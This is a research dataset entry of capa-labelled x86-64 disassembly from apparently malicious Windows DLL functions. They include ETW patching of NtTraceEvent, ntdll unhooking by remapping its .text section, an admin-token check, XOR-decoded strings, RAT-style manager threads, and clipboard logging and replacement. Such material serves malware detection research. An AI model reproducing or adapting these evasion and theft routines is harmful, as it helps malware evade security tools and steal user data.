joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180004220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rbp + 0x4f], rax
lea rcx, [rbp - 1]
mov dword [rbp - 1], 0x61766441
mov dword [rbp + 3], 0x32336970
mov dword [rbp + 7], 0x6c6c642e
mov byte [rbp + 0xb], 0
mov dword [rbp + 0x2f], 0x6f6c6c41
mov dword [rbp + 0x33], 0x65746163
mov dword [rbp + 0x37], 0x49646e41
mov dword [rbp + 0x3b], 0x6974696e
mov dword [rbp + 0x3f], 0x7a696c61
mov dword [rbp + 0x43], 0x64695365
mov byte [rbp + 0x47], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x2f]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 1]
mov dword [rbp + 0x17], 0x63656843
mov dword [rbp + 0x1b], 0x6b6f546b
mov dword [rbp + 0x1f], 0x654d6e65
mov dword [rbp + 0x23], 0x7265626d
mov rbx, rax
mov dword [rbp + 0x27], 0x70696873
mov byte [rbp + 0x2b], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x17]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 1]
mov dword [rbp + 0xf], 0x65657246
mov rsi, rax
mov dword [rbp + 0x13], 0x646953
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xf]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
lea rcx, [rbp - 9]
mov r12, rax
lea rax, [rbp - 0x11]
lea r8d, [rdi + 0x20]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], edi
mov dword [rbp - 9], 0
mov dword [rsp + 0x20], edi
mov word [rbp - 5], 0x500
call rbx
mov dword [rbp - 0x19], eax
test eax, eax
je 0x180004378
mov rdx, qword [rbp - 0x11]
lea r8, [rbp - 0x19]
xor ecx, ecx
call rsi
mov rcx, qword [rbp - 0x11]
call r12
mov eax, dword [rbp - 0x19]
cmp eax, 1
sete al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1800043b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov r12, rcx
lea rcx, [rbp - 0x19]
mov dword [rbp - 0x19], 0x6e72654b
mov dword [rbp - 0x15], 0x32336c65
mov dword [rbp - 0x11], 0x6c6c642e
mov byte [rbp - 0xd], 0
mov dword [rbp + 0xf], 0x53746547
mov dword [rbp + 0x13], 0x65747379
mov dword [rbp + 0x17], 0x6d69546d
mov dword [rbp + 0x1b], 0x46734165
mov dword [rbp + 0x1f], 0x54656c69
mov dword [rbp + 0x23], 0x656d69
mov dword [rbp + 0x27], 0x656c6946
mov dword [rbp + 0x2b], 0x656d6954
mov dword [rbp + 0x2f], 0x6f4c6f54
mov dword [rbp + 0x33], 0x466c6163
mov dword [rbp + 0x37], 0x54656c69
mov dword [rbp + 0x3b], 0x656d69
mov dword [rbp - 9], 0x656c6946
mov dword [rbp - 5], 0x656d6954
mov dword [rbp - 1], 0x79536f54
mov dword [rbp + 3], 0x6d657473
mov dword [rbp + 7], 0x656d6954
mov byte [rbp + 0xb], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0xf]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x27]
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 9]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x29]
mov rdi, rax
call rsi
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 0x29]
call rbx
test eax, eax
je 0x1800044c9
lea rcx, [rbp - 0x21]
mov rdx, r12
call rdi
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x180004be0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Patch event tracing for windows function

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rbp - 8], rax
mov rsi, rcx
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtTraceEvent
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x28]
mov rcx, rbx
mov dword [rbp - 0x28], 0x7551744e
mov dword [rbp - 0x24], 0x49797265
mov dword [rbp - 0x20], 0x726f666e
mov rdi, rax
mov dword [rbp - 0x1c], 0x6974616d
mov dword [rbp - 0x18], 0x72506e6f
mov dword [rbp - 0x14], 0x7365636f
mov word [rbp - 0x10], reloc.WS2_32.dll_WSAStartup
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180004c9c
xor r8d, r8d
mov edx, r8d
mov rcx, r8
cmp byte [rcx + rax], 0xb8
je 0x180004c90
inc rcx
cmp rcx, 0x11
jb 0x180004c76
inc rdx
cmp rdx, 9
jb 0x180004c73
jmp 0x180004c95
mov r8d, dword [rcx + rax + 1]
mov dword [0x180042724], r8d
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x1000
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x1800420f0], rax
test rdi, rdi
je 0x180004cf9
mov edx, 1
lea r9, [rbp - 0x30]
mov rcx, rdi
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, byte [rsi]
lea r9, [rbp - 0x30]
mov byte [rdi], al
mov r8d, dword [rbp - 0x30]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x180004dc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
lea rcx, [0x1800350b0]
call fcn.180011160
or rcx, 0xffffffffffffffff
mov rbx, rax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 1
jbe 0x180004e5e
mov ecx, 0x400
call fcn.1800116e0
mov rdx, rbx
mov rcx, rax
mov rdi, rax
call section..text
cmp eax, 0x104
jne 0x180004e5e
lea rcx, [rdi + 1]
mov edx, 0x82
xor byte [rcx - 1], 0x46
xor byte [rcx], 0x46
add rcx, 2
dec rdx
jne 0x180004e20
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x104
call fcn.180011290
mov rcx, rdi
call fcn.1800116e8
mov eax, 1
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
xor eax, eax
add rsp, 0x20
pop rdi
ret
Function at 0x180004e70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
xor ebx, ebx
mov rdi, rdx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x18000502b
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x88], r13
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x180004ef4
mov rcx, rbp
mov r13, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r12, rax
test rax, rax
jne 0x180004f30
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000501e
mov rcx, rdi
mov qword [rsp + 0x40], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
test rax, rax
je 0x180004ffe
movsxd rcx, dword [r12 + 0x3c]
mov qword [rsp + 0x48], r14
movzx edx, word [rcx + r12 + 6]
lea r14, [rcx + r12 + 0x108]
test edx, edx
jle 0x180004ff9
mov qword [rsp + 0x70], rsi
nop
movsxd rax, ebx
lea rdi, str..text
lea rcx, [rax + rax*4]
lea rsi, [r14 + rcx*8]
mov ecx, 6
repe cmpsb byte [rsi], byte [rdi]
je 0x180004f93
inc ebx
cmp ebx, edx
jl 0x180004f70
jmp 0x180004ff4
movsxd rax, ebx
lea r9, [rsp + 0x80]
mov r8d, 0x40
lea rdi, [rax + rax*4]
mov ecx, dword [r14 + rdi*8 + 0xc]
mov edx, dword [r14 + rdi*8 + 8]
add rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [r14 + rdi*8 + 0xc]
mov r8d, dword [r14 + rdi*8 + 8]
lea rdx, [rcx + r12]
add rcx, r15
call fcn.180011290
mov ecx, dword [r14 + rdi*8 + 0xc]
mov edx, dword [r14 + rdi*8 + 8]
mov r8d, dword [rsp + 0x80]
lea r9, [rsp + 0x80]
add rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x48]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x40]
mov r12, qword [rsp + 0x78]
mov r13, qword [rsp + 0x88]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
Function at 0x1800054c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
lea rcx, [rbp - 0x38]
mov dword [rbp - 0x28], 0x65726944
mov dword [rbp - 0x24], 0x6e497463
mov dword [rbp - 0x20], 0x38747570
mov dword [rbp - 0x1c], 0x61657243
mov word [rbp - 0x18], 0x6574
mov byte [rbp - 0x16], 0
mov dword [rbp - 0x38], 0x504e4944
mov dword [rbp - 0x34], 0x2e385455
mov dword [rbp - 0x30], 0x6c6c64
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp - 0x28]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x180005547
xor al, al
jmp 0x1800055fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [0x180034a00]
mov r9, rdi
mov edx, 0x800
mov rcx, rax
mov qword [rsp + 0x20], 0
call rbx
test eax, eax
js 0x180005540
mov rcx, qword [rdi]
lea r8, [rdi + 8]
lea rdx, [0x180034a20]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x180005540
mov rcx, qword [rdi + 8]
lea rdx, [0x1800349e0]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x180005540
mov rcx, qword [rdi + 8]
xor edx, edx
mov rax, qword [rcx]
lea r8d, [rdx + 0xa]
call qword [rax + 0x68]
test eax, eax
js 0x180005540
mov rcx, qword [rdi + 8]
mov dword [rbp - 0x50], socket
mov qword [rbp - 0x4c], reloc.WS2_32.dll_recv
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0x3c
mov rax, qword [rcx]
lea r8, [rbp - 0x50]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x180005540
mov rcx, qword [rdi + 8]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
setns al
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180005a60
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov qword [rcx + 8], rdx
lea rax, vtable.CManager.0
mov r12d, r9d
mov qword [rcx], rax
mov qword [rdx + 0x180], rcx
xor r9d, r9d
mov rdi, rdx
mov rbx, r8
mov rsi, rcx
lea edx, [r9 + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsi + 0x10], rax
lea rax, vtable.CKernelManager.0
mov qword [rsi], rax
test rbx, rbx
je 0x180005ae3
lea rcx, [rsi + 0x20]
xor edx, edx
mov r8d, 0x104
call fcn.180016520
lea rcx, [rsi + 0x24]
mov r8d, 0xff
mov rdx, rbx
call fcn.180011fc0
mov dword [rsi + 0x20], r12d
mov qword [rsi + 0x18], rdi
xor r12d, r12d
mov dword [rsi + 0x2068], r12d
mov rcx, qword [0x1800428d0]
mov r8, qword [0x1800428c8]
sub rcx, r8
movabs rax, 0xe38e38e38e38e39
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rdi, edx
test edx, edx
jle 0x180005b59
mov ebx, r12d
nop dword [rax + rax]
lea rcx, [rbx + r8 + 0x18]
lea rdx, [rsi + 0x20]
mov r8d, 0x104
call fcn.180011290
add rbx, 0x120
dec rdi
je 0x180005b59
mov r8, qword [0x1800428c8]
jmp 0x180005b30
lea rax, [0x180006a20]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x180002be0]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + 0x2068]
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
mov r11d, ebx
mov rbx, qword [rsp + 0x60]
mov qword [rsi + rax*8 + 0x128], r11
inc dword [rsi + 0x2068]
mov rax, rsi
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop r12
ret
Function at 0x1800061bc
Capabilities:
Encode data using xor

Disassembly:
cmp edx, 0x105
jne 0x180006288
sub rsp, 0x548
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rsp + 0x530], rax
lea rdx, [rcx + 1]
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.180011290
lea r11, [rsp + 0x21]
mov eax, 0x82
nop word [rax + rax]
xor byte [r11 - 1], 0x46
xor byte [r11], 0x46
add r11, 2
dec rax
jne 0x180006200
lea rcx, [rsp + 0x131]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x130], al
call fcn.180016520
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x130]
call fcn.180001140
cmp eax, 1
jle 0x180006271
cmp byte [rsp + 0x130], 0
je 0x180006271
lea rdx, [rsp + 0x130]
lea rcx, [0x1800350b0]
call fcn.180011080
mov byte [0x180042205], 1
mov byte [0x180042204], 1
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.180011250
add rsp, 0x548
repz ret
Function at 0x180006290
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rsi, rcx
mov ecx, 0x120
mov r14, r9
mov edi, r8d
mov rbp, rdx
call fcn.180011bb8
mov rbx, rax
test rax, rax
je 0x18000648d
xor edx, edx
mov r8d, 0x120
mov rcx, rax
call fcn.180016520
cmp edi, 1
jne 0x1800063f8
mov rcx, qword [0x1800428d0]
mov r10, qword [0x1800428c8]
xor edi, edi
sub rcx, r10
movabs rax, 0xe38e38e38e38e39
mov r9d, edi
mov r8d, edi
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rcx, edx
test edx, edx
jle 0x180006353
movzx edx, byte [rbp]
mov rax, r10
nop
cmp dl, byte [rax]
je 0x180006337
inc r8
inc r9d
add rax, 0x120
cmp r8, rcx
jl 0x180006320
jmp 0x180006353
movsxd rax, r9d
mov rcx, rbx
mov r8d, 0x120
lea rdx, [rax + rax*8]
shl rdx, 5
add rdx, r10
call fcn.180011290
cmp byte [rbx], dil
jne 0x180006377
mov rcx, qword [rsi + 0x18]
mov r8d, 1
mov rdx, rbp
call fcn.180002780
mov rcx, rbx
call fcn.180011270
jmp 0x18000648d
lea rcx, [0x180005620]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rcx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x38], rbx
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x180002be0]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + 0x2068]
mov ecx, ebx
mov qword [rsi + rax*8 + 0x128], rcx
inc dword [rsi + 0x2068]
jmp 0x18000648d
lea eax, [rdi - 7]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r13
mov ecx, eax
mov r13d, eax
call fcn.1800116e0
mov r12, rax
test rax, rax
je 0x180006483
lea rdx, [rbp + 7]
mov r8d, r13d
mov rcx, rax
call fcn.180011290
movzx r11d, byte [rbp]
lea eax, [rdi - 7]
mov byte [rbx], r11b
mov qword [rbx + 0x10], r12
mov dword [rbx + 4], eax
mov eax, dword [rbp + 1]
lea rcx, [rbx + 0x18]
mov rdx, r14
mov dword [rbx + 8], eax
movzx eax, word [rbp + 5]
mov r8d, 0x104
mov word [rbx + 0xc], ax
call fcn.180011290
mov rcx, rbx
call fcn.180007cb0
lea rcx, [0x180005620]
mov rdx, rbx
call fcn.180002c40
mov ecx, dword [rsi + 0x2068]
mov qword [rsi + rcx*8 + 0x128], rax
inc dword [rsi + 0x2068]
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1800064b0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x50
mov r12d, r8d
mov rbp, rdx
mov rsi, rcx
test r9d, r9d
je 0x180006586
mov ecx, 0x120
call fcn.180011bb8
mov rbx, rax
test rax, rax
je 0x180006570
xor edx, edx
mov r8d, 0x120
mov rcx, rax
mov qword [rsp + 0x70], r13
call fcn.180016520
lea r11d, [r12 - 7]
mov ecx, r11d
mov r13d, r11d
call fcn.1800116e0
mov rdi, rax
test rax, rax
je 0x18000656b
lea rdx, [rbp + 7]
mov r8d, r13d
mov rcx, rax
call fcn.180011290
movzx r11d, byte [rbp]
lea eax, [r12 - 7]
mov byte [rbx], r11b
mov qword [rbx + 0x10], rdi
mov dword [rbx + 4], eax
mov eax, dword [rbp + 1]
lea rcx, [0x1800057d0]
mov rdx, rbx
mov dword [rbx + 8], eax
movzx eax, word [rbp + 5]
mov word [rbx + 0xc], ax
call fcn.180002c40
mov ecx, dword [rsi + 0x2068]
mov qword [rsi + rcx*8 + 0x128], rax
inc dword [rsi + 0x2068]
mov r13, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r12
pop rdi
pop rsi
ret
mov rcx, r12
call fcn.1800116e0
mov r8, r12
mov rdx, rbp
mov rcx, rax
mov rdi, rax
call fcn.180011290
lea r11, [0x180005750]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x38], rdi
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x180002be0]
mov qword [rsp + 0x48], rax
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsi + 0x2068]
mov ecx, ebx
mov qword [rsi + rax*8 + 0x128], rcx
inc dword [rsi + 0x2068]
jmp 0x180006570

Function at 0x180006630
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
xor r9d, r9d
mov rsi, rcx
mov qword [rsp + 0x30], 0
lea rcx, [0x180042730]
lea r8d, [r9 + 3]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800066c7
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x58]
mov r8d, ebx
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1800078b0
Capabilities:
Get file size
Open clipboard
Read clipboard data
Write clipboard data
Write file on windows

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
sub rsp, 0x80
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rsp + 0x78], rax
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x180007abb
mov ecx, 1
call qword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x180007ab5
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbp, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rsi, rax
test rax, rax
je 0x180007ab5
xor r12d, r12d
cmp byte [0x180042206], r12b
je 0x1800079df
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r12 + 1]
lea rcx, [0x180042620]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800079df
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x80000000
jae 0x1800079d6
lea r9d, [r12 + 2]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x40]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x40]
lea r8d, [r12 + 2]
lea rdx, [0x180035768]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x180042610], r12b
je 0x180007aac
mov qword [rsp + 0x68], select
mov qword [rsp + 0x60], r12
mov byte [rsp + 0x50], r12b
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.180004010
nop
lea rcx, [rsp + 0x50]
call fcn.180007190
test eax, eax
jne 0x180007a9a
mov rdx, qword [rsp + 0x60]
inc rdx
lea ecx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
test rax, rax
je 0x180007a9a
call qword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x180007a9a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rbx, rax
test rax, rax
je 0x180007a9a
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
inc r8
mov rcx, rax
call fcn.180011290
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
cmp qword [rsp + 0x68], 0x10
jb 0x180007aac
mov rcx, qword [rsp + 0x50]
call fcn.180011270
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180011250
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret